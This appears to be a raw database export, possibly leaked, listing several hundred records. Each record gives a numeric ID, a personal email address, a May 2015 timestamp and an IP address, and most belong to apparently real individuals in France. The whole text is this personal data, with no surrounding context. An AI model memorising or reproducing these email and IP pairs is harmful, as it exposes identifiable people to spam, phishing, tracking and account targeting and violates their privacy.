+9901;aurelieallenbach@gmail.com;2015-05-10 16:43:55;78.208.140.121 +9902;alain.senecloze@sfr.fr;2015-05-10 17:20:33;77.204.222.134 +9903;muriel.raspal@orange.fr;2015-05-10 17:36:38;92.145.21.140 +9904;nathape@free.fr;2015-05-10 18:35:53;88.169.133.213 +9905;sorayacoco6@gmail.com;2015-05-10 18:37:09;5.57.121.127 +9906;bpaty@hotmail.fr;2015-05-10 18:45:21;5.48.186.190 +9907;mm.duquesne59@hotmail.fr;2015-05-10 18:59:40;88.171.18.44 +9908;ast.mai@orange.fr;2015-05-10 19:13:17;84.102.82.250 +9909;cocochrisegron@orange.fr;2015-05-10 19:32:19;90.25.0.9 +9910;pauline.cherrier23@gmail.com;2015-05-10 19:38:59;88.165.190.146 +9911;sylvie.nedjai@gmail.com;2015-05-10 19:39:54;78.230.13.145 +9912;ctomyn72@gmail.com;2015-05-10 20:33:41;86.222.36.183 +9913;bibounette@bbox.fr;2015-05-10 21:14:30;176.183.127.128 +9914;nathalie.flamencourt@free.fr;2015-05-10 21:50:03;82.236.178.58 +9915;lambdcol@orange.fr;2015-05-10 22:54:16;86.203.150.165 +9916;docteur.acfrancois@gmail.com;2015-05-10 23:07:11;92.155.251.69 +9917;rollio@orange.fr;2015-05-10 23:32:50;92.142.207.118 +9918;ghislainecastro@yahoo.fr;2015-05-10 23:50:13;62.147.209.70 +9919;sylred1@gmail.com;2015-05-11 01:10:00;78.219.112.104 +9920;lamjj9@gmail.com;2015-05-11 06:48:48;99.101.11.13 +9921;poupette9@orange.fr;2015-05-11 10:05:41;90.9.212.140 +9922;jackiemorlaix@yahoo.fr;2015-05-11 10:08:08;46.218.2.138 +9923;liliananietoalvarez@hotmail.com;2015-05-11 10:24:37;82.250.47.225 +9924;corine.hermant@gmail.com;2015-05-11 10:54:18;62.160.44.99 +9925;mel.demotie@laposte.net;2015-05-11 11:35:15;78.250.107.228 +9926;sabinefleser@yahoo.fr;2015-05-11 12:21:53;88.164.22.91 +9927;sylviecoudrais@hotmail.fr;2015-05-11 12:22:07;88.177.19.229 +9928;marjorie.cauchoix@yahoo.fr;2015-05-11 12:28:34;83.205.38.238 +9929;layla.cerisier@gmail.com;2015-05-11 13:34:12;78.221.134.9 +9930;brigitte.prost@bbox.fr;2015-05-11 13:37:21;89.94.135.66 +9931;sylvie19691968@gmail.com;2015-05-11 13:39:02;78.251.60.12 +9932;irena.lia@hispeed.ch;2015-05-11 14:06:41;178.83.214.230 +9933;tiphainerevert@hotmail.com;2015-05-11 14:17:16;88.179.62.170 +9934;natha.bourennani@live.fr;2015-05-11 14:24:53;109.30.96.100 +9935;soohie.jacquemin@sfr.fr;2015-05-11 14:34:26;77.195.95.185 +9936;benenemo@yahoo.fr;2015-05-11 14:37:38;158.255.104.83 +9937;philippe.gadan@gmail.com;2015-05-11 14:50:05;80.14.161.71 +9938;cecilclement@orange.fr;2015-05-11 14:53:56;90.34.80.109 +9939;catherinehermant@orange.fr;2015-05-11 15:07:08;109.26.168.194 +9940;pyr09@bbox.fr;2015-05-11 15:09:24;62.34.234.213 +9941;leone.03@hotmail.fr;2015-05-11 15:23:04;78.122.40.4 +9942;cellaine@msn.com;2015-05-11 15:23:19;82.226.24.189 +9943;serge_lagier@orange.fr;2015-05-11 15:39:38;109.208.237.249 +9944;bibi91620@hotmail.fr;2015-05-11 15:46:39;83.202.144.252 +9945;opiola.s5914@gmail.com;2015-05-11 16:04:57;92.155.47.161 +9946;clisee1@hotmail.com;2015-05-11 16:29:57;142.169.78.107 +9947;bien@neuf.fr;2015-05-11 16:34:43;77.197.240.173 +9948;annylouis22@orange.fr;2015-05-11 16:36:40;92.139.82.166 +9949;boutry.christiane@gmail.com;2015-05-11 17:09:12;85.168.75.10 +9950;francoisehervieux@hotmail.fr;2015-05-11 17:14:19;82.244.232.119 +9951;nicole.momey@sfr.fr;2015-05-11 17:30:23;78.126.141.2 +9952;soniam75@gmail.com;2015-05-11 18:03:42;193.126.22.182 +9953;sofylamb@hotmail.com;2015-05-11 18:13:25;176.183.255.49 +9954;fabienneamigou@orange.fr;2015-05-11 18:15:07;92.133.219.152 +9955;pizzaballa.michel@wanadoo.fr;2015-05-11 18:18:13;90.52.28.115 +9956;granny66@hotmail.fr;2015-05-11 18:40:43;88.187.34.185 +9957;ledusfr@yahoo.fr;2015-05-11 19:24:04;90.12.75.254 +9958;famille.gore@wanadoo.fr;2015-05-11 19:39:14;90.62.141.94 +9959;damezouzou@wanadoo.fr;2015-05-11 20:03:41;81.53.81.6 +9960;okergadallan@yahoo.fr;2015-05-11 21:01:00;78.224.15.113 +9961;delphineamouret@hotmail.fr;2015-05-11 21:11:01;77.151.81.186 +9962;vickambrosie@yahoo.fr;2015-05-11 21:33:02;92.151.197.31 +9963;marine-t24@hotmail.fr;2015-05-11 21:35:35;92.134.182.153 +9964;catherine.gaasch@orange.fr;2015-05-11 21:43:03;92.148.177.128 +9965;vandevorde.nathalie@free.fr;2015-05-11 21:45:51;88.175.146.114 +9966;emilielaguns@aol.com;2015-05-11 22:52:20;88.138.57.159 +9967;helene_nobelis@hotmail.com;2015-05-11 22:52:33;88.165.89.175 +9968;tiffhsueh@gmail.com;2015-05-11 23:55:39;212.198.187.44 +9969;chloe.suptelmy@hotmail.fr;2015-05-12 01:09:43;82.126.202.228 +9970;jm509@exeter.ac.uk;2015-05-12 01:46:51;31.205.125.163 +9971;pellb.mairesse@sfr.fr;2015-05-12 06:03:01;79.89.202.161 +9972;virgo-g@hotmail.fr;2015-05-12 07:38:47;78.199.84.62 +9973;brigitte.fargier@sfr.fr;2015-05-12 09:41:33;95.176.78.133 +9974;lecorbusier79@yahoo.fr;2015-05-12 09:51:48;89.88.24.105 +9975;sylvie.xiaoqing@hotmail.com;2015-05-12 10:35:38;86.199.86.16 +9976;renee.blanchevoye@orange.fr;2015-05-12 11:14:50;92.88.127.152 +9977;viviane.gourdy@culture.gouv.fr;2015-05-12 11:22:53;143.126.203.251 +9978;jeanpascale@free.fr;2015-05-12 12:50:57;88.171.127.244 +9979;isabo974@sfr.fr;2015-05-12 13:01:17;80.69.210.121 +9980;ibeaurain@aol.com;2015-05-12 14:51:51;92.162.210.139 +9981;sarl.perrelle@orange.fr;2015-05-12 15:14:20;90.33.45.111 +9982;a.salvan@laposte.net;2015-05-12 15:46:57;212.51.183.93 +9983;sandrinepallec@hotmail.com;2015-05-12 17:20:02;80.215.227.183 +9984;bacci.josette@orange.fr;2015-05-12 18:11:25;77.198.130.77 +9985;kerleauaurore@neuf.fr;2015-05-12 18:50:59;86.68.150.227 +9986;caro9178@hotmail.com;2015-05-12 19:11:22;88.167.248.221 +9987;ghislaine.sudry@sfr.fr;2015-05-12 19:49:28;109.18.214.66 +9988;prudentfaucon@orange.fr;2015-05-12 21:04:33;82.123.170.125 +9989;pdias77@free.fr;2015-05-12 21:24:51;88.179.131.135 +9990;martine.parramon@orange.fr;2015-05-12 21:52:01;90.57.207.141 +9991;khedim_zineb@yahoo.com;2015-05-12 22:20:45;86.202.241.254 +9992;beatrice.coma@orange.fr;2015-05-12 22:29:02;82.126.129.138 +9993;aude.bujat@orange.fr;2015-05-12 22:45:46;2.10.134.38 +9994;chacha13170@hotmail.fr;2015-05-12 23:19:17;80.119.75.68 +9995;celine.baudelet.yanis@gmail.com;2015-05-13 07:10:03;109.134.74.143 +9996;abelard.kleinsylvie@orange.fr;2015-05-13 08:27:19;2.1.31.226 +9997;tessacohen@aol.com;2015-05-13 08:55:44;198.21.21.21 +9998;crisil211703@gmail.com;2015-05-13 08:57:06;91.179.13.140 +9999;b.digiacomo@wanadoo.fr;2015-05-13 09:11:13;90.30.108.185 +10000;chakyna55@hotmail.com;2015-05-13 09:33:01;195.6.78.190 +10001;nouchedu83@hotmail.fr;2015-05-13 10:02:50;77.206.88.203 +10002;aziza.amettalsi@unistra.fr;2015-05-13 11:07:21;130.79.231.67 +10003;aev.guilbert@orange.fr;2015-05-13 12:24:51;2.5.178.234 +10004;loldelph@orange.fr;2015-05-13 12:27:04;90.14.14.169 +10005;conceptsbeaute@gmail.com;2015-05-13 12:50:48;82.127.187.37 +10006;piopiol@hotmail.com;2015-05-13 12:59:20;88.178.44.129 +10007;sbeguet@club.fr;2015-05-13 13:22:45;88.209.85.162 +10008;claudettes51@hotmail.fr;2015-05-13 14:20:51;81.49.65.50 +10009;lebeau.jeannine@gmail.com;2015-05-13 14:32:08;31.29.119.71 +10010;treuil.jacqueline@gmail.com;2015-05-13 15:08:48;78.210.178.211 +10011;cyrielled@mcsgad.com;2015-05-13 15:39:54;212.99.112.195 +10012;rafmunoz@msn.com;2015-05-13 16:01:18;77.204.85.247 +10013;Othello98@live.be;2015-05-13 16:13:16;91.176.116.175 +10014;cath.lou.rocheblave@orange.fr;2015-05-13 17:32:12;92.133.36.177 +10015;thisseg@yahoo.fr;2015-05-13 17:45:58;82.237.217.213 +10016;lediuz@yahoo.fr;2015-05-13 18:26:50;77.128.155.56 +10017;irulybina@gmail.com;2015-05-13 19:05:54;213.138.25.13 +10018;louloutte-97@hotmail.fr;2015-05-13 19:09:37;89.3.167.205 +10019;anneso.htk@live.fr;2015-05-13 19:48:48;82.245.62.148 +10020;lorine.ducotey@gmail.com;2015-05-13 20:10:46;109.211.168.23 +10021;sasha460@neuf.fr;2015-05-13 20:13:41;78.123.85.10 +10022;sandrine.mignon@libertysurf.fr;2015-05-13 20:16:13;77.196.247.78 +10023;online@sfr.fr;2015-05-13 20:24:08;79.83.46.18 +10024;regineargentin@hotmail.fr;2015-05-13 20:45:54;78.124.41.73 +10025;sotgiu.anna@orange.fr;2015-05-13 20:50:36;92.129.106.173 +10026;sylviane.molle@gmail.com;2015-05-13 20:51:51;80.12.35.106 +10027;nicole.cauboue@orange.fr;2015-05-13 22:22:32;83.205.253.46 +10028;rachelwells@freesurf.fr;2015-05-13 22:34:42;90.21.52.254 +10029;daphne.paternotre@gmail.com;2015-05-14 00:07:45;85.201.157.103 +10030;hascoet.huguette@wanadoo.fr;2015-05-14 06:22:31;2.11.138.229 +10031;fredzam@free.fr;2015-05-14 08:06:39;78.209.184.8 +10032;specunia@free.fr;2015-05-14 09:43:18;88.181.70.4 +10033;sophieviolette@gmail.com;2015-05-14 09:50:09;82.121.91.173 +10034;lucysoleil@orange.fr;2015-05-14 10:22:17;176.186.186.96 +10035;ombelline88@gmail.com;2015-05-14 10:38:17;79.93.147.89 +10036;brigitte.feugueray@wanadoo.fr;2015-05-14 10:49:37;92.156.248.64 +10037;bellaciao8@hotmail.com;2015-05-14 11:04:17;109.208.240.189 +10038;imartin28@yahoo.fr;2015-05-14 11:11:34;78.241.120.119 +10039;francoise.lombardo73@orange.fr;2015-05-14 11:24:15;82.122.72.141 +10040;ziakovic.claudine@free.fr;2015-05-14 11:35:52;88.122.234.50 +10041;lynemart@sfr.fr;2015-05-14 11:36:54;86.76.66.251 +10042;krajewski.bruno@orange.fr;2015-05-14 12:15:21;86.199.149.237 +10043;pawlak.sandra@numericable.fr;2015-05-14 12:28:21;81.66.91.134 +10044;jocelyne.grosso@orange.fr;2015-05-14 12:35:28;93.2.79.185 +10045;marjorie.ferrua@wanadoo.fr;2015-05-14 12:42:56;2.6.152.190 +10046;laurencelaplace@aol.com;2015-05-14 12:59:24;78.193.214.137 +10047;dioremahieu@wanadoo.fr;2015-05-14 13:37:45;90.35.125.167 +10048;syph@hotmail.fr;2015-05-14 13:38:13;78.224.49.29 +10049;serge.meinrad@aliceadsl.fr;2015-05-14 13:39:25;78.226.133.110 +10050;michel.wilhelm@estvideo.fr;2015-05-14 13:41:18;62.241.71.253 +10051;saint-germain.patricia@neuf.fr;2015-05-14 14:25:01;83.205.20.219 +10052;p.vandelannoitte@gmail.com;2015-05-14 14:25:41;82.238.115.201 +10053;carmenm2010@hotmail.fr;2015-05-14 14:53:55;86.197.149.167 +10054;angalonso@free.fr;2015-05-14 14:58:49;82.237.145.108 +10055;nfavoriti@hotmail.com;2015-05-14 15:40:19;77.198.204.254 +10056;bouillet.patricia@gmail.com;2015-05-14 16:14:30;195.36.134.96 +10057;salome59@orange.fr;2015-05-14 16:23:32;86.208.9.112 +10058;v.febvre89@gmail.com;2015-05-14 16:30:25;109.106.67.153 +10059;sylvia.juarez@free.fr;2015-05-14 16:34:26;78.234.211.224 +10060;boedt.bernadette@outlook.com;2015-05-14 16:35:47;78.22.149.94 +10061;aurelia.amoroso@icloud.com;2015-05-14 17:42:14;212.195.2.149 +10062;patricia.konzem7@orange.fr;2015-05-14 18:23:56;90.48.99.248 +10063;tvalerie22@yahoo.fr;2015-05-14 18:29:29;92.106.9.241 +10064;renemartine.gac@wanadoo.fr;2015-05-14 18:29:34;81.50.5.140 +10065;bweimmerskirch@gmail.com;2015-05-14 18:53:18;78.117.74.161 +10066;annie/picuira@wanadoo.fr;2015-05-14 19:08:14;90.55.115.212 +10067;rolland.justine@gmail.com;2015-05-14 19:14:02;78.250.84.37 +10068;girardbouigue@orange.fr;2015-05-14 19:22:04;2.6.54.147 +10069;marion.roberge.lima@free.fr;2015-05-14 19:25:33;82.241.184.19 +10070;lydie.verdiere@laposte.net;2015-05-14 19:40:03;78.214.138.41 +10071;natacha.bellata@bbox.fr;2015-05-14 20:08:00;89.89.49.28 +10072;villasaintgeorges@wanadoo.fr;2015-05-14 20:08:26;93.5.24.61 +10073;virg5275@gmail.com;2015-05-14 20:52:16;92.142.170.72 +10074;anne.audoire@free.fr;2015-05-14 21:24:40;82.66.147.161 +10075;gildelph@hotmail.fr;2015-05-14 22:22:03;77.201.73.113 +10076;katia.champagne@yahoo.fr;2015-05-14 22:30:55;176.186.205.68 +10077;eloileslie@gmail.com;2015-05-14 22:33:24;85.201.206.216 +10078;martine.santiquet@dbmail.com;2015-05-14 23:55:50;89.158.45.217 +10079;renar45@hotmail.com;2015-05-15 00:42:33;81.62.147.80 +10080;tadristkhedoduja@yahoo.fr;2015-05-15 03:22:12;85.26.95.39 +10081;stelgauthier@hotmail.fr;2015-05-15 05:20:17;90.15.7.86 +10082;peugeot54@outlook.fr;2015-05-15 09:12:38;80.215.234.23 +10083;nathalietamnay@sfr.fr;2015-05-15 09:16:57;109.10.254.18 +10084;carpiomanuela@gmail.com;2015-05-15 09:44:52;86.208.35.80 +10085;belmonte.cecile@orange.fr;2015-05-15 09:59:37;90.15.242.214 +10086;brutt.fabienne@live.fr;2015-05-15 10:34:22;91.91.247.13 +10087;c.lacroixtosi@gmail.com;2015-05-15 10:44:33;78.247.14.195 +10088;ml.corre-associees@orange.fr;2015-05-15 10:56:38;80.14.29.177 +10089;romeo59279@live.fr;2015-05-15 11:48:42;92.89.168.34 +10090;sandrine.loget@gmail.com;2015-05-15 12:28:17;86.223.85.252 +10091;d.delage@bayonne.fr;2015-05-15 13:47:32;62.193.63.9 +10092;gabyk100@hotmail.fr;2015-05-15 14:18:20;86.203.168.241 +10093;pascalola@hotmail.com;2015-05-15 15:00:04;82.228.24.175 +10094;killoutine@hotmail.fr;2015-05-15 15:21:54;185.31.149.99 +10095;cecilelaperche@gmail.com;2015-05-15 15:23:25;83.192.12.232 +10096;delphine.jezequel@hotmail.fr;2015-05-15 15:38:08;83.115.75.170 +10097;i.chevalierroudge@gmail.com;2015-05-15 16:13:46;212.51.165.220 +10098;alythebeast@hotmail.fr;2015-05-15 16:14:54;193.248.146.84 +10099;virginie.helin@bbox.fr;2015-05-15 17:23:42;31.32.195.119 +10100;isis.al@voila.fr;2015-05-15 17:28:47;86.76.77.71 +10101;toutconfondu@gmail.com;2015-05-15 17:38:02;88.123.106.215 +10102;bonnetlaure@aol.com;2015-05-15 18:11:21;86.222.219.179 +10103;moune.istanbul@wanadoo.fr;2015-05-15 18:16:35;90.44.110.59 +10104;clairerossi@sfr.fr;2015-05-15 18:18:06;77.207.114.179 +10105;leroy-lucie@orange.fr;2015-05-15 18:20:47;90.62.8.216 +10106;03gf@free.fr;2015-05-15 19:17:01;88.179.245.96 +10107;monnier.gilbert39@sfr.fr;2015-05-15 19:41:51;77.147.149.187 +10108;christiane.viola@wanadoo.fr;2015-05-15 19:48:30;90.14.81.78 +10109;jormax@laposte.net;2015-05-15 20:00:36;78.231.163.107 +10110;sabrinaetche@yahoo.com;2015-05-15 20:10:18;78.114.36.218 +10111;renyboy@neuf.fr;2015-05-15 21:06:45;77.199.240.216 +10112;maudwoitier@neuf.fr;2015-05-15 21:31:49;86.67.244.245 +10113;thomas-karine@voila.fr;2015-05-15 21:47:26;31.38.52.36 +10114;alexia.albertalli@gmail.com;2015-05-15 22:06:37;90.25.8.176 +10115;khem.salea@gmail.com;2015-05-15 22:15:25;82.123.9.251 +10116;siham100@hotmail.fr;2015-05-15 22:35:05;90.34.93.89 +10117;gerardpayan@aol.com;2015-05-15 23:45:15;90.37.69.50 +10118;tosetto.elena@gmail.com;2015-05-16 00:57:59;89.157.222.250 +10119;serenashop.15@gmail.com;2015-05-16 03:16:46;89.180.158.25 +10120;florenceschemel@yahoo.fr;2015-05-16 06:38:56;78.56.78.61 +10121;martial.chartier@neuf.fr;2015-05-16 07:11:06;78.123.107.168 +10122;3a3mar@gmail.com;2015-05-16 07:51:51;105.188.143.149 +10123;bissiere.sylvie@gmail.com;2015-05-16 07:59:29;41.213.251.219 +10124;christine.nicolesco@hotmail.fr;2015-05-16 08:32:47;92.148.1.217 +10125;iifarthouat@club-internet.fr;2015-05-16 09:25:17;109.10.103.148 +10126;didisel@hotmail.com;2015-05-16 09:40:59;78.231.168.144 +10127;salanondominique@yahoo.fr;2015-05-16 10:07:01;88.170.140.61 +10128;acl2010@free.fr;2015-05-16 10:36:11;82.231.227.13 +10129;ariellegroyne@gmail.com;2015-05-16 10:39:15;83.134.124.250 +10130;shutinet@yahoo.fr;2015-05-16 10:41:06;92.90.26.59 +10131;hanaounis@yahoo.fr;2015-05-16 11:02:42;197.29.63.132 +10132;schei26@hotmail.fr;2015-05-16 11:49:12;82.234.154.122 +10133;mikany@orange.fr;2015-05-16 12:00:00;2.3.216.192 +10134;estelle.joachim@laposte.net;2015-05-16 12:30:44;31.39.156.248 +10135;mochoucha@hotmail.fr;2015-05-16 12:37:15;86.73.248.83 +10136;gaelle.gaudin3@orange.fr;2015-05-16 13:38:46;109.218.40.222 +10137;angevin.stephan@orange.fr;2015-05-16 14:28:17;78.223.124.62 +10138;valtida.mireille@gmail.com;2015-05-16 14:36:40;88.169.145.223 +10139;huberstef@outlook.com;2015-05-16 14:44:43;92.147.224.245 +10140;elen.randreau@hotmail.fr;2015-05-16 14:52:16;80.12.35.14 +10141;cperdreau@gmail.com;2015-05-16 15:13:18;90.49.124.137 +10142;nathalie.guilbert@hotmail.fr;2015-05-16 15:34:59;86.218.154.6 +10143;desboisfrancoise@yahoo.fr;2015-05-16 16:40:57;81.220.199.12 +10144;lauredavid.fjt@voila.fr;2015-05-16 17:31:27;84.100.223.65 +10145;piajl2@wanadoo.fr;2015-05-16 18:27:05;86.200.89.227 +10146;annealexia.louarn@gmail.com;2015-05-16 19:12:15;93.15.57.250 +10147;antje.play@hotmail.fr;2015-05-16 19:48:30;90.15.203.89 +10148;a.batany@free.fre;2015-05-16 19:50:01;88.168.165.188 +10149;corinnettephoto@gmail.com;2015-05-16 20:13:12;88.138.21.41 +10150;ac.legrain@gmail.com;2015-05-16 20:25:39;78.204.28.95 +10151;boulagnon6@aol.com;2015-05-16 20:30:59;62.241.92.228 +10152;guylene.rigollier@gmail.com;2015-05-16 20:33:37;80.8.145.241 +10153;muriel.serra@neuf.fr;2015-05-16 20:35:39;84.100.18.19 +10154;caute.nathalie@bbox.fr;2015-05-16 21:05:25;89.87.248.75 +10155;vero.lefort@orange.fr;2015-05-16 21:05:28;109.214.102.195 +10156;krisbat@sfr.fr;2015-05-16 21:45:00;91.68.185.117 +10157;frederique.caron@live.fr;2015-05-16 21:47:26;90.18.211.43 +10158;matheoben@orange.fr;2015-05-16 21:47:27;92.138.153.60 +10159;martine@lebosquain.net;2015-05-16 22:43:12;81.64.123.24 +10160;martine.ulmann@outlook.fr;2015-05-16 22:44:51;93.29.220.23 +10161;rierasylvie@ymail.com;2015-05-16 23:20:25;80.119.213.146 +10162;brossonmichelle@hotmail.fr;2015-05-16 23:26:23;2.3.214.181 +10163;24dupuis@orange.fr;2015-05-17 08:05:44;90.60.214.105 +10164;nicole29@orange.fr;2015-05-17 08:17:56;109.218.120.203 +10165;ghislaine.lenclein@laposte.net;2015-05-17 08:58:54;78.198.36.91 +10166;ijenny76@outlook.fr;2015-05-17 09:04:14;92.152.210.247 +10167;christine.glaussel@gmail.com;2015-05-17 09:11:47;82.240.0.236 +10168;francisgrandin@orange.fr;2015-05-17 10:04:04;86.228.172.153 +10169;v_yon@orange.fr;2015-05-17 10:19:45;90.49.186.200 +10170;andree.royer-locufier@wanadoo.fr;2015-05-17 10:22:09;92.147.210.190 +10171;dominique.delahaye@hotmail.fr;2015-05-17 11:00:57;88.177.72.7 +10172;boutinpub@aol.com;2015-05-17 11:07:28;77.200.62.68 +10173;jennifer_77186@hotmail.fr;2015-05-17 11:08:38;82.246.229.20 +10174;iraux@sfr.fr;2015-05-17 12:19:37;79.89.103.36 +10175;domclochette@neuf.fr;2015-05-17 12:20:29;79.90.244.2 +10176;melanie324@live.fr;2015-05-17 12:46:46;77.129.134.171 +10177;vero.igolen@orange.fr;2015-05-17 14:00:03;92.137.166.24 +10178;soph69@hotmail.be;2015-05-17 14:30:38;86.70.140.211 +10179;giraudeteva@yahoo.fr;2015-05-17 15:02:54;93.28.115.19 +10180;info@mb-therapeute.ch;2015-05-17 15:06:55;178.192.80.143 +10181;beatricedumas@sfr.fr;2015-05-17 15:30:39;93.9.150.117 +10182;karo.spolitini@gmail.com;2015-05-17 16:23:34;176.182.18.31 +10183;sarah95bateau@gmail.com;2015-05-17 16:27:49;88.164.91.120 +10184;patricia.nadi@live.fr;2015-05-17 16:52:51;81.64.212.120 +10185;pascalfroment@free.fr;2015-05-17 17:16:41;82.236.56.71 +10186;juhael30@yahoo.fr;2015-05-17 17:53:47;186.7.151.91 +10187;anouk.bernard.k@gmail.com;2015-05-17 18:53:57;82.244.136.126 +10188;myriam.expert@wanadoo.fr;2015-05-17 19:01:27;90.60.123.99 +10189;celdam.martin@hotmail.be;2015-05-17 19:58:32;81.247.44.243 +10190;dalila.brahiti@gmail.com;2015-05-17 20:12:40;82.232.73.37 +10191;rambeaux.isa@hotmail.fr;2015-05-17 20:32:01;82.236.78.209 +10192;carole.zuba@free.fr;2015-05-17 20:33:41;93.15.209.211 +10193;valerie.burat@orange.fr;2015-05-17 20:48:15;86.196.12.184 +10194;MAILLARDSABINE@GMAIL.COM;2015-05-17 21:13:30;80.215.178.118 +10195;paschenat@hotmail.com;2015-05-17 21:18:49;46.14.11.58 +10196;sandrinelaveau@orange.fr;2015-05-17 21:21:54;92.140.53.229 +10197;hoditta@gmail.com;2015-05-17 22:00:10;41.254.9.225 +10198;laure_cheung@yahoo.fr;2015-05-17 22:17:52;77.130.154.197 +10199;isacollin.lc@gmail.com;2015-05-17 22:58:20;78.224.226.235 +10200;elsacherie@outlook.fr;2015-05-18 00:52:58;78.250.247.9 +10201;jean-marie.moureau@laposte.net;2015-05-18 05:33:28;109.129.47.169 +10202;f2llgrk9iqrta@mail.styling1.com;2015-05-18 07:00:47;94.242.252.41 +10203;linece.1373@yahoo.fr;2015-05-18 07:39:16;5.51.197.101 +10204;pireaud.eve@neuf.fr;2015-05-18 07:53:47;84.100.144.77 +10205;bayon.pascale@gmail.com;2015-05-18 08:25:51;90.28.233.115 +10206;jessheymann@orange.fr;2015-05-18 08:31:01;89.157.33.43 +10207;murieldecotalbert@yahoo.fr;2015-05-18 09:10:02;90.27.88.201 +10208;magali.villedieu@yahoo.fr;2015-05-18 09:35:05;92.158.202.80 +10209;verojallet@gmail.com;2015-05-18 10:45:25;83.193.124.132 +10210;momoetcoco@live.fr;2015-05-18 11:08:15;109.19.124.163 +10211;c.costelet@cegetel.net;2015-05-18 11:12:06;84.233.143.50 +10212;alicepetitjean14@gmail.com;2015-05-18 11:25:57;80.231.154.162 +10213;christiane.chevallier@hotmail.fr;2015-05-18 11:31:28;78.193.14.237 +10214;paolacannes@hotmail.com;2015-05-18 12:06:39;89.81.40.247 +10215;carolinecrepiat@hotmail.com;2015-05-18 12:19:45;82.243.96.96 +10216;rose.trichereau@gmail.com;2015-05-18 12:20:15;78.200.68.63 +10217;simum@laposte.net;2015-05-18 12:39:47;84.98.67.79 +10218;d_lhopiteau@orange.fr;2015-05-18 12:45:37;90.50.202.52 +10219;sabine.prudent@gmail.com;2015-05-18 12:57:33;82.123.184.113 +10220;sylvie.bris@icloud.com;2015-05-18 13:32:48;83.157.129.156 +10221;devynck.marine60300@gmail.com;2015-05-18 13:42:03;62.23.75.208 +10222;bruno.bostun@orange.fr;2015-05-18 14:12:41;92.155.108.76 +10223;auroreotten@hotmail.be;2015-05-18 14:46:24;81.242.143.40 +10224;carre.nathalie@club-internet.fr;2015-05-18 14:52:49;78.120.107.74 +10225;cecile_frango1@hotmail.fr;2015-05-18 15:07:30;171.16.208.2 +10226;jessiepeyrussie@hotmail.fr;2015-05-18 15:46:43;89.158.119.122 +10227;elisabeth.dupre@gmail.com;2015-05-18 15:49:19;92.156.71.241 +10228;mariepaule.martin59@gmail.com;2015-05-18 16:14:17;86.210.53.118 +10229;bernic62@gmail.com;2015-05-18 16:35:16;88.187.128.196 +10230;lilianearmand58@orange.fr;2015-05-18 18:52:44;86.204.206.249 +10231;v.lecoyer@lesviviers.be;2015-05-18 18:54:27;81.247.235.46 +10232;maryane.chea@gmail.com;2015-05-18 18:55:15;88.170.77.169 +10233;rockmaryn@hotmail.fr;2015-05-18 19:34:07;86.71.101.171 +10234;isa.gojon@hotmail.fr;2015-05-18 19:37:36;176.188.104.63 +10235;bea.dumont@orange.fr;2015-05-18 20:18:56;86.217.93.130 +10236;danielle.baretti@orange.fr;2015-05-18 20:25:22;90.26.203.119 +10237;mathildelecroix@yahoo.fr;2015-05-18 21:03:06;81.65.111.229 +10238;mabelledeesse@hotmail.fr;2015-05-18 21:18:28;88.185.203.17 +10239;laureline.asselin@gmail.com;2015-05-18 22:28:25;109.211.63.241 +10240;protomichael@hotmail.com;2015-05-18 23:59:25;85.27.39.156 +10241;sophie.chauvin96@orange.fr;2015-05-19 06:33:19;90.54.110.252 +10242;sabine.fournier74@wanadoo.fr;2015-05-19 07:35:02;212.194.142.90 +10243;christinetelmon@hotmail.com;2015-05-19 07:48:03;81.66.169.3 +10244;bouchon.12@hotmail.fr;2015-05-19 08:02:10;31.37.106.101 +10245;lepennuen.sylvie@orange.fr;2015-05-19 08:07:00;83.205.155.195 +10246;zabou39@wanadoo.fr;2015-05-19 08:21:17;90.40.206.147 +10247;eboularot@free.fr;2015-05-19 08:35:44;82.233.138.188 +10248;dupadsl@bbox.fr;2015-05-19 08:54:15;176.183.180.20 +10249;rmazoyer@wanadoo.fr;2015-05-19 09:07:17;92.138.20.35 +10250;annesuzel@hotmail.fr;2015-05-19 09:36:11;90.13.16.138 +10251;karine.carraro@cegetel.net;2015-05-19 10:10:44;78.228.145.140 +10252;murmurs@wanadoo.fr;2015-05-19 10:30:54;2.4.155.248 +10253;herve.fauque@sfr.fr;2015-05-19 11:34:20;79.87.217.224 +10254;eriberam@hotmail.com;2015-05-19 12:04:17;37.133.230.233 +10255;eemiliee59@gmail.com;2015-05-19 13:06:34;195.6.175.29 +10256;agnes_sa@ymail.com;2015-05-19 13:39:06;31.33.193.92 +10257;miyawangparis@gmail.com;2015-05-19 14:03:22;86.69.50.237 +10258;gislaine.domanski@gmail.com;2015-05-19 16:09:06;86.208.231.134 +10259;fadila-delahaye@orange.fr;2015-05-19 17:06:41;86.206.71.244 +10260;mc.reservat@orange.fr;2015-05-19 19:25:31;90.5.123.51 +10261;meucci_m@hotmail.fr;2015-05-19 20:07:45;86.219.75.7 +10262;e.sido1@voila.fr;2015-05-19 22:02:48;80.59.239.100 +10263;luc.desbled@orange.fr;2015-05-19 22:22:22;86.228.135.248 +10264;intimissimamente@gmail.com;2015-05-20 00:18:29;79.50.14.63 +10265;minou1610@hotmail.be;2015-05-20 05:01:19;109.88.124.183 +10266;sexylelene971@hotmail.com;2015-05-20 06:09:17;93.121.164.45 +10267;wowbud@hotmail.com;2015-05-20 07:44:40;121.164.173.82 +10268;ca.h@free.fr;2015-05-20 08:25:00;88.126.148.1 +10269;marcelou.celine@gmail.com;2015-05-20 09:03:07;78.250.4.52 +10270;thomas.annabelle@neuf.fr;2015-05-20 09:12:35;89.170.17.119 +10271;blanchet.anne.elise@gmail.com;2015-05-20 10:01:33;185.48.252.246 +10272;brousard.moisette@orange.fr;2015-05-20 10:50:27;90.5.136.67 +10273;missared@free.fr;2015-05-20 11:20:08;82.224.176.226 +10274;PRISCILLA.BERJOT@GMAIL.COM;2015-05-20 11:52:47;82.226.7.115 +10275;deck.caroline@yahoo.fr;2015-05-20 11:58:23;92.103.167.166 +10276;annie.letribot@orange.fr;2015-05-20 12:23:57;92.152.140.40 +10277;genetmic88@yahoo.fr;2015-05-20 14:28:31;84.7.95.100 +10278;reginaettori@gmail.com;2015-05-20 14:31:01;92.103.200.242 +10279;emeraudelamiet@gmail.com;2015-05-20 15:19:23;178.22.147.138 +10280;brigitte.boussiron@gmail.com;2015-05-20 15:51:22;89.2.195.1 +10281;jhoegen@hotmail.com;2015-05-20 15:51:47;84.14.125.164 +10282;denisemartine@orange.fr;2015-05-20 15:52:59;90.37.127.236 +10283;martine.meylan@hotmail.com;2015-05-20 15:56:55;178.211.255.254 +10284;mpivot@missoffice.fr;2015-05-20 16:09:45;31.36.120.82 